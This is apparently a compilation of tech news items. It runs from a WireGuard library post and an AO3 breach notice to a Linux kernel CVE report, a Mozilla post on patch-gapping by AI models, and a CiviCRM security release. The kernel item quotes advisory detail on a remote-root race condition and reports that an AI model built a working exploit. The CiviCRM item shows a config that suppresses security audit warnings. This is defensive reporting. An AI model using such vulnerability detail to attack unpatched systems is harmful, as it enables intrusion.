In sanstun , these concepts directly map to the Interface and Tunnel types. All inbound packets go through Interface::receive . That is the only public API that parses a raw datagram. It parses the packet, applies rate limits and hands you back a ReceivedMessage with one enum variant per WireGuard message type, or a cookie reply to send back if the interface is under load. These then map directly to the corresponding functions on a Tunnel : Tunnel::handle_handshake_initiation , etc. Handshake initiations are routed by the initiator's static public key. All other messages expose which Tunnel they should be dispatched to, identified by a TunnelId .

One interface, many tunnels Every UDP datagram enters through Interface::receive. A message is only forwarded to its Tunnel if all checks pass. datagram cookie reply under load Interface::receive parse header verify MAC check cookie rate limit source HandshakeInitiation A's static key HandshakeResponse TunnelId 5 CookieReply TunnelId 5 TransportData TunnelId 7 Tunnel 3 peer A handle_handshake_initiation Tunnel 5 peer B handle_handshake_response handle_cookie_reply Tunnel 7 peer C begin_decapsulate

Every inbound datagram has to go through Interface::receive .

Under the hood, sanstun does a lot of things for you here. It parses the tunnel index and extracts the upper 24 bits, it applies rate limits, generates cookie replies and validates handshake messages.

Crucially, the constructors for types like HandshakeInitiation are all crate-private. Even though Tunnel exposes a public handle_handshake_initiation function, the only way to call that is by going through Interface::receive first to obtain such a type. And Interface::receive protects your application by applying the rate limiter, all without you having to think about it.

Parallel crypto

One of the best features of sanstun is its parallel-friendly API for encrypting and decrypting packets.

On a protocol level, WireGuard doesn't share any state between tunnels. Therefore, parallelizing a WireGuard implementation across peers is very easy.

But what about parallelizing work within a single tunnel? WireGuard operates on layer 3, and thus a single session with another peer carries the traffic of many individual network flows. Even if we handle tunnels to different peers on different threads, all network flows (i.e., unique 5-tuples) toward the same host or subnet will be processed sequentially, effectively bounded by how fast the CPU is at ChaCha20-Poly1305, WireGuard's cipher for data packets. To protect against replay by malicious on-path observers, WireGuard data packets have a monotonically increasing packet counter. This counter is scoped to a single session and therefore would require synchronization if we were to access this state from multiple threads simultaneously.

To avoid this, sanstun separates the bookkeeping from the actual encryption and decryption. Calling Tunnel::begin_encapsulate doesn't in fact encrypt anything. It checks for the current session, reserves a packet counter, advances timer state and then hands you a PendingEncapsulate :

impl PendingEncapsulate {
    pub fn encrypt<'a>(self, plaintext: &[u8], dst: &'a mut [u8]) -> Result<DataMessage<'a>, Error> {
        // ...
    }
}

PendingEncapsulate implements Send and can thus be transferred to another thread to perform the bulk of the work. Running cargo bench data_path in the sanstun repository showcases the effect of this split:

data_path/64B/begin_encapsulate
                        time:   [20.785 ns 20.828 ns 20.869 ns]
data_path/64B/encrypt   time:   [226.15 ns 226.22 ns 226.29 ns]
data_path/64B/begin_decapsulate
                        time:   [37.600 ns 37.675 ns 37.744 ns]
data_path/64B/decrypt   time:   [205.78 ns 205.83 ns 205.87 ns]
data_path/64B/commit_decapsulate
                        time:   [17.486 ns 17.529 ns 17.575 ns]

data_path/1280B/begin_encapsulate
                        time:   [20.785 ns 20.828 ns 20.869 ns]
data_path/1280B/encrypt time:   [933.49 ns 933.54 ns 933.59 ns]
data_path/1280B/begin_decapsulate
                        time:   [37.606 ns 37.681 ns 37.751 ns]
data_path/1280B/decrypt time:   [914.81 ns 914.89 ns 914.97 ns]
data_path/1280B/commit_decapsulate
                        time:   [17.657 ns 17.707 ns 17.764 ns]

As expected, the bookkeeping parts ( begin_encapsulate , begin_decapsulate and commit_decapsulate ) do not scale with packet size. What does scale with packet size are the encrypt and decrypt functions. At a packet size of 1280 bytes, the bookkeeping part of encrypting a new packet is only 2%. If we move the actual encryption to another thread, this hints at a potential speedup of more than 45x!

An effective speedup of 45x is hard to achieve in practice because it ignores the cost of passing PendingEncapsulate to another thread and assumes no other overhead is introduced. Nevertheless, being able to offload the crypto to worker threads allows for some great throughput improvements.

Offloading crypto to worker threads A sequence diagram with three threads: the owner thread, which holds the Interface and Tunnel state, and two worker threads on either side of it. worker 1 owner thread Interface, Tunnel worker 2 outbound inbound PendingEncapsulate n encrypt 934 ns DataMessage n PendingEncapsulate n+1 encrypt 934 ns DataMessage n+1 begin_encapsulate ×2 21 ns each PendingDecapsulate m decrypt 915 ns Decrypted m PendingDecapsulate m+1 decrypt 915 ns Decrypted m+1 begin_decapsulate ×2 38 ns each commit_decapsulate ×2 replay check, 18 ns each

The owner thread only does the bookkeeping, while encryption and decryption run on worker threads.

Being a sans-IO library, sanstun doesn't concern itself with how exactly you want to parallelize your crypto. If you want to keep it simple, you can also just call encrypt and decrypt inline and not bother with parallelization at all.

The key thing we wanted to achieve with sanstun 's API design was to enable parallel crypto while keeping everything around Interface single-threaded. This lets the internal rate limiter work without locks or atomic counters and take advantage of Rust's borrow checker, all while combining state from multiple tunnels.

Closing

With sanstun , our fork at firezone/boringtun is now deprecated. If you are building on top of WireGuard, whether that's a VPN, a mesh network or something else entirely, we hope sanstun makes your life a little easier. It is available on crates.io .

sanstun is open source under the Apache 2.0 license. Check it out on GitHub ; issues and pull requests are welcome!

Archive of our own (AO3) hacked

Hacker News
www.otwstatus.org
2026-10-30 17:17:23
Comments...
Original Article

Update - Earlier today, we detected evidence of a security incident on AO3. We are still in the early stages of response to this security incident and determining its scope. AO3 will remain down while we continue investigating and addressing what has been found so far. However, we want to make some things clear:

First, no AO3 data has been deleted. All your works, bookmarks, kudos, etc., are safe.

Second, while we currently don't believe that the user database was stolen, we are also unable to rule it out. The AO3 database contains account information that may include your username, email address, IP address, and a hashed version of your password.

We use industry-standard techniques for storing passwords in a scrambled form that cannot easily be reversed. Even so, no hashing method can fully protect a weak or reused password from being cracked. As a precaution, we recommend that you change your passwords on any other sites where you use the same password as on AO3.

AO3 does not collect real names, so none could be exposed. Additionally, our donor information is held in an entirely separate system and is never linked to AO3, so that data has also not been exposed.

We will update everyone as our investigation continues; we may be unable to respond to individual inquiries from users. Please keep an eye on our official outlets for updates. Our next update will be posted when we have further information available.

Our current expectation is that AO3 will be down for a minimum of two weeks; however, it could take up to four weeks. During that time, we may be able to bring the site back up in a degraded state, meaning that not all features will be available and/or the site may be read-only. If we are able to do that, please be aware that we might have to bring the site back down unexpectedly as part of our recovery efforts. We will keep you in the loop for any developments.


Oct 30 , 2026 - 01:27 UTC

Update - We estimate that service restoration for #AO3 will take around 2 weeks but it could be up to 4 weeks. We are hopeful that we will be able to bring the site back up in a degraded state sooner. If that does happen, there may be times when the site has to be brought down temporarily until this is fully resolved. Please stay tuned for further info.
Oct 29 , 2026 - 17:41 UTC

Identified - AO3 maintenance is in progress. We expect it to take at least 12 hours, but it may take longer. We will provide updates as necessary.
Oct 29 , 2026 - 09:03 UTC

Investigating - AO3 is down for maintenance.
Oct 29 , 2026 - 07:13 UTC

Critical Linux kernel flaw allows remote root attacks on MPTCP servers

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 17:09:46
Security researchers at Anthropic have developed an exploit for a critical Linux kernel vulnerability that allows unauthenticated attackers to remotely execute commands as root on servers running Multipath TCP (MPTCP) listeners. [...]...
Original Article

Linux

Security researchers at Anthropic have developed an exploit for a critical Linux kernel vulnerability that allows unauthenticated attackers to remotely execute commands as root on servers running Multipath TCP (MPTCP) listeners.

The flaw, tracked as CVE-2026-98432 , also affects ordinary TCP connections, although remote code execution has not been publicly demonstrated on servers without an MPTCP listener.

Multipath TCP (MPTCP) is a TCP feature that lets a single connection use multiple network paths at the same time to improve performance and reliability. It is commonly used in environments where devices have multiple network connections, such as Wi-Fi and cellular networks.

CVE-2026-98432 is a use-after-free vulnerability in the kernel's IPv4 TCP networking code that received a severity score of 9.8 out of 10 from the Linux kernel CVE team.

The vulnerability affects Linux kernels dating back to version 4.4, including widely used distributions such as Ubuntu, Red Hat Enterprise Linux (RHEL), and Rocky Linux.

According to the Linux kernel advisory , the vulnerability stems from a race condition in how the kernel handles TCP connection requests, potentially causing a use-after-free condition.

"tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the child socket (newinet->inet_opt) without copying it," reads the advisory.

"Another cpu can concurrently process a retransmitted SYN for the same request socket, and send a SYNACK from tcp_check_req(). tcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt under rcu_read_lock() only, and ip_build_and_send_pkt() and ip_options_build() then read opt->optlen twice."

A similar issue can occur during TCP request socket migration when net.ipv4.tcp_migrate_req is enabled, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE program is used.

Although triggering the vulnerability requires no authentication, Red Hat says exploiting the race condition is more complex than just sending a malicious network packet.

Red Hat classifies the vulnerability as a potential denial-of-service issue that could cause a kernel crash, assigning it a lower severity score of 5.9 because exploitation is complex.

However, researchers at Anthropic demonstrated that the vulnerability could be exploited for remote code execution under specific conditions.

An Anthropic report explained that an unreleased Claude AI model developed an exploit that bypassed kernel address space layout randomization (KASLR) and executed arbitrary commands as root on a Linux server running an MPTCP listener.

According to Anthropic, the exploit took about 53 minutes to achieve remote root code execution, showing the vulnerability could be exploited for more than denial-of-service attacks.

While MPTCP is not typically enabled by default in applications, some software enables it automatically.

Beginning in Go 1.24, the programming language enables MPTCP by default for TCP listeners on Linux as long as the kernel supports the feature. Due to this, some Go-based network services may enable MPTCP listeners without administrators knowing.

Linux distros begin releasing patches

The vulnerability was fixed in the upstream Linux kernel and backported to maintained kernel branches. However, security updates have not yet been pushed out to all affected Linux distributions.

According to Canonical's security tracker , Ubuntu 22.04 LTS, 24.04 LTS, 26.04 LTS, and 26.10 remain vulnerable, with kernel fixes in progress as of October 30.

Red Hat also lists RHEL 8, 9, and 10 as affected, with fixes planned for future updates. RHEL 7 is not affected because its kernel does not contain the vulnerable code.

In mitigation guidance , Rocky Linux support provider CIQ confirms Rocky Linux 8, 9, and 10 are also affected and shared temporary firewall protections for affected systems.

According to Debian's security tracker , the vulnerability was fixed in kernel package version 6.1.190-1 for Debian 12 (Bookworm) and 6.12.113-1 for Debian 13 (Trixie). Fixed packages are also available for Debian testing and unstable.

Other Linux vendors, including Oracle Linux, Amazon Linux, and SUSE, have also released fixes for some affected kernel versions.

The vulnerability does not affect macOS, which uses Apple's XNU kernel rather than the Linux kernel.

Administrators are advised to check their distribution's security advisories and install updated kernel packages as they become available.

For systems where patches are not yet available, restricting access to trusted networks or IP addresses can reduce the risk.

CIQ also recommends temporarily blocking IPv4 TCP packets containing IP options before they reach the vulnerable TCP processing code, and shared examples of nftables rules that can block this type of traffic.

The company cautions that disabling MPTCP alone is insufficient because the underlying vulnerability can still be triggered through ordinary TCP traffic.

There are currently no confirmed reports of CVE-2026-98432 being exploited in the wild.

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Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

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Defending the patch gap against automated attackers

Lobsters
blog.mozilla.org
2026-10-30 17:06:04
Comments...
Original Article

AI models can now identify software vulnerabilities as effectively as top security researchers, and at a speed and scale that was not possible a year ago. This is ultimately great news for defenders : the defects in software like Firefox are finite, and it seems likely that increasingly powerful models will soon be able to find them all.

The Firefox team has worked tirelessly since February to identify and fix subtle bugs with early access to frontier models from Anthropic and OpenAI. To date, we have shipped more than seven times the number of security fixes compared to the same period in 2025. This result is a testament to the dedication of the Firefox team and the impact of labs putting these capabilities in defenders’ hands first.

This head start has allowed us to apply successive generations of frontier models to the Firefox codebase, each one helping us dig deeper. Attackers now have access to some cyber-capable models, but these models are several generations behind, and the depth of bugs they can find in Firefox has largely been picked clean.

Ongoing access to frontier models allows Firefox to stay ahead of attackers, but can be undermined if attackers can indirectly learn about the findings of those frontier models. In particular, it is sometimes possible to work backwards from a security fix to identify the vulnerability in the original unpatched code. If an attacker can observe an upcoming browser update before most users have received it, there is a brief period during which they could reverse-engineer an incoming security fix and attack the prior version.

The patch gap , or the window in time between the appearance of a security fix in the code and the full deployment of that code to most users, affects any critical software that ships to end-user devices like operating systems and web browsers.

Browsers like Firefox and Chrome use every means at their disposal to make this period short, but new versions need at least a few days of pre-release testing to ensure builds deployed to hundreds of millions of users are sufficiently stable across different hardware configurations. Moreover, users don’t always update the moment a new version becomes available. This inherently creates a patch gap¹.

Patch-gapping is a decades-old threat, but has traditionally required speed and expertise beyond the reach of most attackers. Today though, AI models can dramatically accelerate this process and lower the barrier to entry, and we’ve seen evidence that models like GLM 5.3 can exploit some of the fixes for bugs originally uncovered by more advanced models. This makes patch-gapping a more practical threat.

Firefox has already taken steps to narrow the patch gap and make it more difficult to exploit:

  • Shipping faster : Earlier this year, we cut the release cycle time in half so that new builds ship to users every week.
  • Holding back tests : We’ve observed that GLM 5.3 is much less effective at patch-gapping when a regression test is not present, so we’ve reintroduced a practice of keeping these confidential until after the fix has shipped.
  • Commit scanning : We’re scanning all new commits that land in the Firefox codebase to catch any newly-introduced bugs before they reach release.

A new approach

We are also introducing a more structural defense to neutralize patch-gapping no matter how quick or clever. Firefox has a defense-in-depth architecture with multiple layers of sandboxing, so that an attacker generally needs to exploit vulnerabilities in multiple separate parts of the code to compromise the browser. In the simplest case, an attacker needs to chain together, at minimum², a renderer exploit with a sandbox escape . With one but not the other, the attack fails.

This creates an opportunity for us to group classes of fixes together and ensure that their respective patch gaps do not overlap. In other words: at any given time, only one of the multiple ingredients needed to compromise the browser would be available in the patch gap, and attackers would need to find at least one novel vulnerability from scratch that had evaded frontier-powered efforts to date.

We will be applying this approach in Firefox. Getting it right requires some coordination across our engineering processes that may take some time, and we want to be careful and deliberate about such changes to avoid slowing down the critical work our engineers are doing to drive vulnerabilities to zero. Nevertheless, we believe that time-based separation of the patch gap across different layers of defense will be an increasingly important tool over the coming months as attackers gain more powerful automated cyber capabilities.

The path forward

The month of October has seen a sharp increase in vulnerability disclosures and exploit activity across the internet as both defenders and attackers get their hands on more capable models. Firefox is fortunate to enter this moment ahead of the curve, with greatly reduced exposure to these new capabilities. The patch gap threat has increased, but we have the tools to structurally address it. We are in this position thanks to years of investment in sandboxing, ongoing red-teaming, and an engineering team capable of fixing security bugs at over seven times the previous rate.

Unfortunately, much of the software that powers the internet has not had the luxury of these preparations, and is now more deeply exposed. Addressing this is an urgent and significant undertaking that requires everyone across the industry to step up and work together. There is no turning back the clock on already-discovered vulnerabilities and already-proliferated capabilities, and the only path forward is to aggressively find and fix the bugs that have been hiding for years, now in plain sight.


¹ The open-source codebases behind Firefox and Chrome make it somewhat easier to inspect the fixes, but modern tooling is increasingly capable of reverse-engineering source code from binaries, so concealing the source code is at best a speed bump for attackers. Firefox is proudly open-source and we have no intent to change this.
² Many components in Firefox have additional layers of sandboxing to isolate bugs in the code from even reaching the renderer process, including both process-level isolation of some components and in-process isolation of others.

Friday Squid Blogging: Bigfin Squid Off California Coast

Schneier
www.schneier.com
2026-10-30 17:04:36
Neat video: The sighting, announced September 2, marks the first time anyone has spotted a live bigfin squid, which belongs to the Magnapinna genus, in the northeastern Pacific Ocean. As usual, you can also use this squid post to talk about the security stories in the news that I haven’t cover...
Original Article

Sidebar photo of Bruce Schneier by Joe MacInnis.

Why VPNs Are Worth Defending

Electronic Frontier Foundation
www.eff.org
2026-10-30 16:55:24
Developers of virtual private network (VPN) apps are reporting that their products are again being pulled from Apple’s App Store in Russia. This is an unacceptable crackdown on a vital tool to protect privacy and speech online. Why? VPNs give people a way to control their own online activities. When...
Original Article

Developers of virtual private network (VPN) apps are reporting that their products are again being pulled from Apple’s App Store in Russia. This is an unacceptable crackdown on a vital tool to protect privacy and speech online.

Why? VPNs give people a way to control their own online activities. When you visit a website through a VPN, that website only sees the VPN server's location (well, IP address) rather than your actual location. It's like sending a letter through a P.O. box so the recipient doesn't know where you really live. It can also disguise where you’re accessing information from, which can make it possible to access information banned by your government.

This is an unacceptable crackdown on a vital tool to protect privacy and speech online.

Going after tools that give people the space to communicate and access information freely is a common tactic from the totalitarian playbook. This latest demand comes after several steps the Russian government’s taken to surveil speech specifically on Apple products. In 2024, the Moscow Times reported that Russia’s state media watchdog, Roskomnadzor, went after VPN apps on the Apple App Store, after banning access to Western social media platforms and blacklisting opposition media sites. Russia then blocked Apple’s FaceTime software in 2025, according to Apple Insider.

Bloomberg also recently reported that the Russian government has added Apple and Microsoft to its state surveillance registry. This gives Roskomnadzor access to local users’ correspondence, Apple Insider reported , and puts both companies in a position to turn over customer information to the country’s security services as required.

With government control encroaching on their devices and less access to tools that give them alternate methods, people in Russia are left with shrinking options to communicate online or find information that isn’t state-sanctioned.

While Russia’s actions offer a more extreme vision of what happens when the government tries to enforce speech rules by attacking vital privacy tools, it is far from the only government doing so. Several states in the U.S., bent on making it difficult to circumvent invasive age-gating laws, have suggested banning VPNs—either to access certain content or in some cases to simply ban them outright. EFF has publicly (and loudly) criticized these proposals, because going after VPNs is a dangerous step down the road of censorship.

Attacks on speech and privacy online are deeply troubling, no matter where they happen. What those in power may see as a “loophole” in their invasive laws is actually an expression of user control. We’ll continue to speak out when we see governments going after them to take that control away.

CiviCRM Security Release (6.19.3 6.16-ESR)

CiviCRM
civicrm.org
2026-10-28 16:44:44
There has been a security release for CiviCRM. Upgrades are available for:...
Original Article

Published

2026-10-28 13:44

There has been a security release for CiviCRM. Upgrades are available for:

These upgrades address the following security issues:

Learn more about subscribing to Extended Security Releases (ESR).

Note for Drupal 9/10/11/12 builds
Due to the patching of the phpspreadsheet package for this release you may need to add to your root composer.json the following in the config section. Also for the civicrm-core package system admins should reference the 6.19.3.1 tagged release as that loosens the specific version requirement for phpspreadsheet package

    "audit": {
      "ignore": {
        "PKSA-r15m-kszr-8n8q": "manually patched",
        "PKSA-dxd5-wy68-pq29": "manually patched",
        "PKSA-96jv-mtjg-g2v8": "manually patched",
        "PKSA-zb3c-6qhx-m249": "manually patched"
      }
    }

The CiviCRM Security Team would also like to advise that for systems that use the following extensions there have been security upgrades published:

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We are committed to keeping CiviCRM free and open, forever. We depend on your support to help make that happen.

CiviCRM is community driven and is sustained through contributions, good vibes, solidarity, and financial support from its community. Help CiviCRM do a world of good .

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Through Captain Jean-Luc Picard, Patrick Stewart taught us the measure of a man

Hacker News
www.bostonglobe.com
2026-10-30 16:23:30
Comments...
Original Article

Two of the Globe’s dyed-in-the-wool Star Trek fans share what Captain Picard, and Patrick Stewart, meant to them.

John Hilliard: For a younger, and likely wiser generation, stanning a bald middle-aged English actor who played a French guy on a spaceship may be a questionable life choice. But here is the thing: What made Stewart resonate as Picard was how he rooted the character, as in the best of fairy tales, in emotional truth.

Jason Laughlin: I agree. Picard seemed as real as the complex characters that would start to populate prestige TV a decade later. But unlike anti-heroes such as Tony Soprano and Walter White, Stewart gave us a nuanced character we actually admired. He loved his job. He had passions like archaeology , Shakespeare , and music . He held to his ideals even when it meant terrible personal sacrifice.

In the mess of American politics over the past 20 years, there have been so many times I’ve longed for a Picard-style speech that makes right and wrong crystal clear.

“You know, there are some words I’ve known since I was a schoolboy,” Picard said when a Joe McCarthy-esque admiral began witch hunting on the Enterprise. “With the first link, the chain is forged. The first speech censured, the first thought forbidden, the first freedom denied, chains us all irrevocably.”

His character’s moral clarity, and Stewart’s conviction in delivering it, put an end to the admiral’s reign of terror. If only real world oppression could be dispelled so easily.

For decades, Patrick Stewart was a star of stage and screen, but no role defined him quite like the noble space captain Jean-Luc Picard of Star Trek: The Next Generation.
For decades, Patrick Stewart was a star of stage and screen, but no role defined him quite like the noble space captain Jean-Luc Picard of Star Trek: The Next Generation. STEVE FORREST/NYT

JH: Full disclosure : Star Trek is a show, which Youtube will prove, that leaned hard on latex foreheads and sometimes-flimsy production to tell stories of intergalactic scallywags known as Klingons and Borg, Romulans and Cardassians. Like free office coffee, it’s an acquired taste.

JL: One of my friends has a theory that if you didn’t get into Star Trek before you’re 18 years old, you’re never really going to get it.

To me, what’s so accessible, and radical, about Stewart, though, was his ability to convincingly portray vulnerability while still maintaining Picard as a credible leader.

One episode saw Picard return to his home village in France to heal from a traumatic assault.

At the conclusion, Stewart surrenders the control that was his character’s hallmark and falls into the mud, sobbing, over his failure to fight off his assailants. It’s a raw, real, depiction of a broken man. Stewart shifts from total collapse into slow recovery by reconciling with his brother. Grief is replaced by warmth, and Stewart sells it perfectly.

JH: Totally. He knew how to make that show work for him.

That’s despite an episode where he faces off against a giant, talking tar pit . Or the one where he sells eating a sandwich in the sci-fi version of the family station wagon. Or when he chugs Ecto Cooler (remember Ecto Cooler?) with a depressed Scotty , from the original Star Trek, and shares stories about first jobs and first girlfriends. He even shows up in tights, as discount Errol Flynn Robin Hood.

As a kid raised on television before there was an Internet, Stewart plugged into a world where figures like Mr. Rogers and Bob Ross presented a model for manhood that was gentle, patient, and a teacher. Stewart played Picard in a similar vein, basically everyone’s Space Dad.

Even as recently as last month, Captain Jean-Luc Picard appeared on Star Trek Day in the London Underground.
Even as recently as last month, Captain Jean-Luc Picard appeared on Star Trek Day in the London Underground. Tim P. Whitby/Getty Images for Paramount+

JL: This is embarrassing, but the first TV episode that moved me to tears was from The Next Generation.

“ The Inner Light ” has Picard experience an entire lifetime as a different person on an alien planet. Again, the actor found his character’s humanity through slow revelation that perhaps a life with a wife and children is just as big an adventure as exploring space.

“Seize the time,” Picard says to his daughter in this other life. “Live now! Make now always the most precious time. Now will never come again.”

At the end of the episode, it’s revealed the decades he spent in that other life were an illusion he experienced in less than an hour. The only tangible thing he has from that world is a flute he learned to play in that other life. In the final moments, Picard plays it again, and without saying a word Stewart plays absolute heartbreak.

Seeing a strong, confident leader who was able to express regrets, sadness, and heartache left a lasting impression.

Well into his 80s, Patrick Stewart was playing the character he became best known for.
Well into his 80s, Patrick Stewart was playing the character he became best known for. Richard Shotwell/AP Photo/Richard Shotwell

JH: Imagine you’re a kid watching TV, and you feel kind of alone, unsure of yourself. And then there’s Stewart, in full reassuring teaching mode. It’s the episode where Wil Wheaton’s character is struggling with tremendous guilt as he tries to hide his complicity in the death of a friend. Stewart, as Picard, is on to him.

Wheaton’s character, Wesley Crusher, is as close to a son as Picard will likely ever have, and Stewart leans into Picard’s grief, grief from knowing that doing the right thing will likely destroy the younger man’s future.

“A lie of omission is still a lie,” Picard tells Wheaton. Stewart’s voice cracks as Picard remembers meeting Wheaton’s character for the first time. He sat in Picard’s chair. He knew every button on the ship, every function. He was annoyed, Picard growls.

Stewart pulls back. Picard never had any doubt that Crusher would grow up into an outstanding officer. Until that moment.

“The first duty of every Starfleet officer is to the truth, whether it’s scientific truth, or historical truth, or personal truth,” says Picard, who then delivers the gut punch. “If you can’t find it within yourself to stand up and tell the truth about what happened, you don’t deserve to wear that uniform.”

It doesn’t matter if you know what a Starfleet is, or if someone can be an officer of one. Stewart always finds a way to connect his audience to the emotional truth.

When you’re a kid, you’re looking for lessons, even if you don’t want to admit it. Stewart, as a master of navigating the human heart, understood the moment and his character. Ultimately, Picard was a teacher, and a guide, not just for the characters with whom he shared a scene, but for the audience as well.

JL: Stewart was 47 when he began playing Picard. I’m just a year older than him now, and the very best of his episodes have taken on new resonance. Family tensions are real and devastating. Professional choices have lasting consequences. The melancholy of middle age lingers on the periphery of every happy moment.

Patrick Stewart’s Picard still serves as a role model. He showed how to face those moments with dignity, optimism, and a belief in the enduring capacity to be our best selves.


Jason Laughlin can be reached at jason.laughlin@globe.com . Follow him @jasmlaughlin . John Hilliard can be reached at john.hilliard@globe.com or on Signal at john_hilliard.70. Follow him on Bluesky at iamjohnhilliard.bsky.social.

Embraer's Atech aims to double in size by 2030 with drone traffic control

Hacker News
www.bloomberglinea.com.br
2026-10-30 16:18:18
Comments...
Original Article

Bloomberg Línea — A Atech, empresa de tecnologia controlada pela Embraer ( EMBJ3 ), vê espaço para dobrar o tamanho da operação até 2030 com a ampliação de sua presença em mercados fora do Brasil.

De acordo com o CEO da empresa, Rodrigo Persico, o avanço de tecnologias que envolvem dados sensíveis, como drones e câmeras de segurança, tem aumentado a demanda pelas soluções da empresa por clientes no exterior.

Para o mercado civil, a Atech vem desenvolvendo uma nova solução tecnológica que atua como infraestrutura digital para suportar, entre outras inovações, a convivência segura de drones (gerenciamento de tráfego de aeronaves não tripuladas, ou UTM) no espaço aéreo.

Dentro do portfólio de Gestão de Tráfego Aéreo (ATM), a solução já está sendo implementada internacionalmente com as recentes entregas na África do Sul.

“A Atech tem ampliado sua presença internacional a partir da expertise desenvolvida no Brasil em sistemas de missão crítica. Na área de gerenciamento de tráfego aéreo, temos tecnologias exportadas para países como Índia, Paraguai, África do Sul e outros mercados da América Latina”, afirmou Persico, em entrevista à Bloomberg Línea .

A empresa foi fundada na década de 1980 e comprada pela Embraer há 17 anos. Sua atuação se concentra no desenvolvimento e integração de sistemas de missão crítica para defesa, governo, segurança pública e tráfego aéreo.

⟶ Assine as newsletters da Bloomberg Línea e receba as notícias do dia em primeira mão no e-mail.

Com o avanço dos veículos não tripulados e o aumento do tráfego comercial, a Atech trabalha para que suas soluções tecnológicas possam transformar dados aeronáuticos em informações confiáveis e rastreáveis. Isso porque o aumento do uso de drones e câmeras para sistemas públicos de segurança demandam a integração de informações.

As soluções da Atech atendem a vários objetivos, segundo a empresa, como por exemplo, identificar onde está o piloto do drone, bem como traçar seu perfil e padrões. “O espaço aéreo está passando por uma transformação profunda”, comenta Persico.

Leia também: Embraer espera ter capacidade de produzir até 120 aviões comerciais por ano até 2030

A companhia também é a única brasileira a participar de exercícios da Organização do Tratado do Atlântico Norte (OTAN) para ataques cibernéticos.

“Essas experiências demonstram a capacidade da engenharia brasileira de desenvolver e exportar tecnologias de alta complexidade, adaptadas às necessidades de diferentes países, com segurança, independência e de forma customizada”, acrescenta.

O plano de expansão da Atech prevê forte crescimento nos próximos anos. “Nossa visão é dobrar a empresa até 2030”, diz.

Rodrigo Persico, CEO da Atech

CEO da Atech, Rodrigo Persico | Tecnologia brasileira para agregar valor. Foto: Empresa/Divulgação

Persico afirma que, atualmente, a empresa está atenta a oportunidades de expansão na Ásia, África e América Latina, regiões que apresentam demandas relevantes por modernização de sistemas de gerenciamento de tráfego aéreo e por soluções de defesa, vigilância e controle.

Na Ásia e na América Latina, por exemplo, a Atech busca ampliar as oportunidades de levar experiência em gerenciamento de tráfego aéreo a novos mercados. Já na África, além desse segmento, a empresa enxerga possibilidades relacionadas às tecnologias de defesa e segurança, considerando a experiência internacional que já foi construída na região.

“Nossa estratégia é identificar mercados nos quais a tecnologia brasileira possa agregar valor, atendendo a necessidades específicas de cada país. Queremos ampliar nossa presença internacional de forma sustentável, com soluções de alta complexidade e parcerias de longo prazo”, diz.

Atech Embraer

Atech | Controle de tráfego aéreo: ampliação da presença internacional. (Foto: Empresa/Divulgação)

Ele destaca que a participação do mercado externo na receita da companhia dependerá da evolução das oportunidades e da concretização de novos contratos. “Mais do que estabelecer um percentual isolado, buscamos construir uma carteira internacional consistente, com potencial de geração de valor no longo prazo.”

Integração no espaço aéreo

Segundo Persico, a atuação no projeto sul-africano também representa uma evolução na capacidade da Atech de integrar diferentes camadas da gestão do espaço aéreo.

Ele acrescenta que a informação aeronáutica é uma das bases para que o espaço aéreo possa ser gerenciado de forma segura e eficiente, especialmente no cenário atual em que avançam aeronaves tripuladas, veículos elétricos de pouso e decolagem vertical (eVTOLs) e drones.

Em sua visão, o avanço dessas tecnologias é um caminho sem volta, com os drones podendo se tornar, inclusive, o “ last mile ” do delivery. “Isso vai acontecer. Para nós, a oportunidade é que será preciso gerir todo esse tráfego”, diz.

*Atualizada em 30/10, às 15h59, no título da matéria para esclarecer que controle de drones é uma aposta da companhia.

Leia também:

Embraer estima demanda de 8.500 aeronaves na aviação comercial nos próximos 20 anos

Azul prepara listagem na NYSE e quer ganhar visibilidade diante do investidor global

Programming at Light Speed: Building the Gravity Query Engine

Hacker News
pgrust.com
2026-10-30 16:18:10
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Original Article

With the release of pgrust v0.4-beta, our new query engine, Gravity, is now as much as 3x faster than ClickHouse on ClickBench , the benchmark that ClickHouse themselves designed to show off how fast ClickHouse is. Even better, Gravity achieves that speed while supporting the full Postgres SQL dialect and type system.

In a couple of previous posts, I wrote about how we used batching, operator fusion, and SIMD to make pgrust hundreds of times faster than Postgres for analytical queries, and how we built a copy-and-patch JIT compiler that compiles stencils in 5 microseconds. All of that work, built up over several releases, is what became Gravity.

Copy-and-patch was a great starting point, but gluing pre-compiled templates together only gets us so far. Because we did not have a real intermediate representation or register allocation across the whole loop, we ended up leaving a lot of performance on the table compared to an optimizing compiler like rustc or Clang. For pgrust v0.4, we wanted to go all the way and build a query compiler that generates optimal machine code for any SQL query. That is why we built Gravity.

Normally, when engineers try to make software faster, they work from the bottom up. They run a benchmark, look at a flamegraph, find a hotspot, and figure out how to speed up their code by 15% or 20%. The problem with working from the bottom up is that you don't know what the ceiling is. You might be 20% away from the fastest possible code the hardware can run, or you might be 100x away.

When we started building Gravity, we flipped this question around. We asked ourselves: how fast can a database actually be? Instead of incrementally speeding up our existing query engine, we wanted to start from the physical speed limit of our hardware and file format and work backward. I like to call this “programming at light speed”.

To find out what "light speed" looked like, we had Claude write standalone, heavily optimized Rust programs directly against our columnar storage crates for a corpus of analytical queries. These programs bypassed the entire SQL executor and just ran hand-tuned, multithreaded Rust loops with SIMD directly over our on-disk format. When we ran those handwritten Rust programs, they executed queries roughly 4x faster than existing analytical databases like ClickHouse across the board. We then mined those hand-tuned Rust loops for optimizations we could incorporate into Gravity.

Our goal for Gravity became simple: for any SQL query, JIT compile machine code at runtime that gets within 20% of the handwritten Rust code Claude wrote directly against our file format.

The General Architecture of Gravity

Our main goal when designing Gravity's architecture was to give ourselves a ton of flexibility in the generated output. We knew that if we made it easy to change Gravity to emit whatever low-level optimizations a query needed, it would become much easier for us to close the gap and approach light speed.

Instead of hardcoding execution patterns or stitching fixed stencils together, we structured Gravity as a multi-stage compiler pipeline that progressively lowers a high-level Postgres plan down to raw assembly:

SQL Query
  -> Postgres Plan
  -> Pipeline Graph
  -> Lisp IR
  -> Assembly

To see what a query looks like at each stage of the compilation process, let’s take the following query:

SELECT UserID, extract(minute FROM EventTime) AS m, MIN(URL), COUNT(*)
FROM hits
